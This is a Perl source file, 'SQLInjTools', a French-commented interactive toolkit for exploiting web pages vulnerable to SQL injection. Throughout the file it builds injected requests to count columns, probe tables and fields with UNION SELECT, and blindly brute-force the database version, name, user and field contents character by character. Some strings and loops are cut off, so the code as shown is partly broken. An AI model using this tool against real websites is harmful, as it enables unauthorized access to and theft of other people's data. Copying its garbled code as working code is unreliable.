#!/usr/bin/perl # # SQLInjTools v0.5b # # by TranceFusion # # date : 12/01/07 à 22h16 # # http://www.ghostsinthestack.org # # Trousse a outils permettant d'exploiter une page vulnerable a une Injection SQL # use Socket; use IO::Socket::INET; use Term::ANSIColor; # Pour les couleurs dans le shell # Capture le Ctrl + C pour éviter la fermeture (quitte juste l'action courante) # /!\ Support partiel... Ca marche une fois, mais pas 2 :( # Desole, je debute en perl donc je n'ai pas encore toruve de solution propre. Si vous en avez, faites moi signe ! $SIG{INT} = \&stopCommande; # # Fonction affichant l'aide sommaire pour la ligne de commande # sub usage{ print <new("$serveur:$port") || die "Connexion refusee.\n"; select($socket); $| = 1; select(STDOUT); # Vidage immediat du buffer de sortie # Envoi de la requete print $socket <) { if($concat){ $buffer .= $ligne; } if($ligne =~ /^\s$/){ $concat = 1; } } close($socket); # on retourne la page HTML lue return $buffer; } # # Bruteforce et retourne le nombre de champs de la table de base # @return nombre de champs de la table de base # sub getNbChamps{ #Compteur de champs my $n = 0; #Doit-on s'arreter ? $ok = 0; while(!$ok){ $n++; #Injection ! my $str = "$url group by $n"; #print "$str\n"; my $buffer = envoiRequete($str); if( ! ( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ) ){ $ok=1; } } $n--; return $n; } # Fonction prenant en parametre la chaine (fonction ou champ) dont on veut connaitre la valeur par bruteforce # # @param champ ou fonction SQL que l'on va bruteforcer caractere par caractere # @result chaine resultat sub bruteforceString{ my $param; ($param) = (@_); # la chaine qu'on cherche my $string = ""; # index du caractere courant my $i = 1; # bornes des caracteres my $borne_inf = 33; my $borne_sup = 123; # code du caractere courant my $code = $borne_inf; while($code <= $borne_sup){ #Injection ! my $str = "$url and substring($param,$i,1)=char($code)"; my $buffer = envoiRequete($str); # si on trouve ce qu'on veut... if( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ){ # c'est que le caractere est bon, donc on l'ajoutte à la chaîne... $string .= chr($code); print(chr($code)); $| = 1; select(STDOUT); # ...et on passe au caractere suivant $i++; $code = $borne_inf; # sinon on incremente le caractère } else { $code++; } } return $string; } # Fonction permettant de tester si une table existe. Valable uniquement si la version du serveur est >=4. # # @param nom de la table # @param nombre de champs dans la table de depart # @return 1 si la table existe, 0 sinon sub testTable{ my $table; my $nbChamps; ($table,$nbChamps) = @_; # Construction de la chaine a injecter my $str = "$url union select "; $str .= "0,"x $nbChamps; chop($str); $str .= " from $table"; my $buffer = envoiRequete($str); # on regarde si la page est OK et on retourne en conséquence return ( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ); } # Fonction permettant de tester si un champ existe dans une table donnee. Valable uniquement si la version du serveur est >=4. # # @param nom du champ a tester # @param nom de la table dans lequel le champ se trouve, 0 pour prendre la table de depart. # @param nombre de champs dans la table de depart # @return 1 si la table existe, 0 sinon sub testChamp{ my $champ; my $table; my $nbChamps; ($champ,$table,$nbChamps) = @_; # Construction de la chaine a injecter my $str = $url; if($table =~ /^0$/){ $str .= " order by $champ=1"; } else { $str .= " union select $champ,"; $str .= "0," x ($nbChamps - 1); chop($str); $str .= " from $table"; } # Injection my $buffer = envoiRequete($str); # on regarde si la page est OK et on retourne en conséquence return ( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ); } # # Fonction retournant le 'nom' de la table courante (pour affichage) # sub tableCourante{ if($table_courante =~ /^0$/){ return "~"; } else { return $table_courante; } } # # Fonction s'executant quand une commande vient d'etre stoppee # sub stopCommande{ print "\nCommande stoppee."; boucleShell(); } # # Boucle principale du shell # sub boucleShell{ print "\n["; print color 'bold blue'; print "~"; print color 'reset'; print "]\$ "; BOUCLE_SHELL: while(){ chomp(); SWITCH: { # Commande Number_of_Fields permettant d'obtenir le nombre de champs de la table de depart if (/^nf$/) { $nb_champs = getNbChamps(); print "[+] Nombre de champs : $nb_champs\n"; last SWITCH; } # Commande Test_Table permettant de tester si une table existe if (/^tt/) { if (! /^tt (.+)$/) { print "erreur: La commande tt prend en parametre le nom de la table a tester.\n"; last SWITCH; } if ($nb_champs == 0) { print "erreur: Le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n"; last SWITCH; } if (testTable($1,$nb_champs)) { print "[+] La table $1 existe !\n"; $tables{$1} = {} if(!$tables{$1}); } else { print "La table $1 n'existe pas.\n"; } last SWITCH; } # Commande Test_Field permettant de tester si un champ existe dans la table courante if (/^tf/) { if (! /^tf (.+)$/) { print "erreur: La commande tf prend en parametre le nom du champ a tester.\n"; last SWITCH; } if ($nb_champs == 0 && $table_default != "0") { print "erreur: Vous n'etes pas dans la table de depart, et le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n"; last SWITCH; } if (testChamp($1,$table_courante,$nb_champs)) { print "[+] Le champ $1 existe dans la table ".tableCourante()." !\n"; # ajoute le champ en tant que cle dans la table my $champs = $tables{tableCourante().""}; ${$champs}{$1} = $1; } else { print "Le champ $1 n'existe pas dans la table ".tableCourante().".\n"; } last SWITCH; } # Commande Change_Table permettant de changer de table courante if (/^ct/) { if (! /^ct (.+)$/) { # si pas d'arguments on revient a ~ par defaut $table_courante = "0"; last SWITCH; } if ($nb_champs == 0) { print "erreur: Le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n"; last SWITCH; } my $t = $1; if ($t =~ /^0$/ || $t =~ /~/) { $table_courante = "0"; } else { if (!testTable($t,$nb_champs)) { print "erreur: la table $1 n'existe pas !\n"; last SWITCH; } $tables{$1} = {} if(!$tables{$1}); $table_courante = "$t"; } last SWITCH; } # Commande List_Fields permettant de lister les champs de la table courante if (/^lf$/) { my $champs = $tables{tableCourante().""}; print join("\n",keys(%{$champs}) ) . "\n"; last SWITCH; } # Commande List_Tables permettant de lister les tables trouvees if (/^lt$/) { printf join("\n",keys %tables)."\n"; last SWITCH; } # Commande Version permettant de recuperer la version du serveur if (/^v$/) { print "[+] Bruteforce de la version : "; $version = bruteforceString("version()"); printf "\n"; last SWITCH; } # Commande Data_Base permettant de recuperer le nom de la base de donnees if (/^db$/) { print "[+] Bruteforce du nom de la base : "; $db = bruteforceString("database()"); printf "\n"; last SWITCH; } # Commande User permettant de recuperer le nom de l'utilisateur SQL if (/^u$/) { print "[+] Bruteforce du nom de l'utilisateur SQL : "; $user = bruteforceString("user()"); printf "\n"; last SWITCH; } # Commande Quit permettant de quitter if (/^q$/ || /^quit$/ || /^exit$/) { print "Bye ;)\n"; exit 0; } # Commande eXecute permettant d'executer une commande shell if (/^x/) { if(!/^x (.+)$/){ print "erreur : Vous devez passer en parametre le nom de la commande Bash a executer.\n"; last SWITCH; } else { print `$1`; last SWITCH; } } # Commande BruteForce_Fields_with_Wordlist permettant de bruteforcer le nom des champs avec une wordlist if (/^bffw?/) { if ($nb_champs == 0 && $table_default != "0") { print "erreur: Vous n'etes pas dans la table de depart, et le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n"; last SWITCH; } if(!/^bffw? (.+)$/){ print "erreur : Vous devez passer en parametre le nom du fichier wordlist.\n"; last SWITCH; } if(! -f $1){ print "erreur : le fichier $1 est introuvable.\n"; last SWITCH; } open WORDLIST,"<$1"; while(){ chomp; if(testChamp($_,$table_courante,$nb_champs)){ print "[+] Champ trouve : $_ !\n"; my $champs = $tables{tableCourante().""}; ${$champs}{$_} = $_; } } close WORDLIST; last SWITCH; } # Commande BruteForce_Field_Content permettant de recuperer le nom de la base de donnees if (/^bfc/) { if(!/^bfc (.+)$/){ print "erreur : vous devez passer en parametre le nom du champ a bruteforcer.\n"; last SWITCH; } print "[+] Bruteforce du contenu du champ $1 : "; $db = bruteforceString("$1"); printf "\n"; last SWITCH; } # Commande Help, fonction d'aide if (/^h$/ || /^help$/) { print < 3 || $#ARGV < 1) && usage(); # # Variables globales preliminaires # $proxy = "votreproxy.com"; # a preciser si vous voulez passer par un proxy $port_proxy = 8080; $port_host = 80; # definit si l'utilisateur a precise l'option ! qui inverse le comportement de pattern $pattern_true = 1; # # Recuperation des arguments # $i = 0; if ($proxy_mode = ($ARGV[0] eq "-p")){ $i++; } $url = $ARGV[$i++]; if($url =~ /http:\/\/([^\/]+)\//){ $host = $1; } else { die("URL invalide\n"); } if($proxy_mode){ $serveur = $proxy; $port = $port_proxy; } else { $serveur = $host; $port = $port_host; } if($ARGV[$i] eq "!"){ $pattern_true = 0; $i++; } $valid_pattern = $ARGV[$i]; # Affichage recapitulatif print <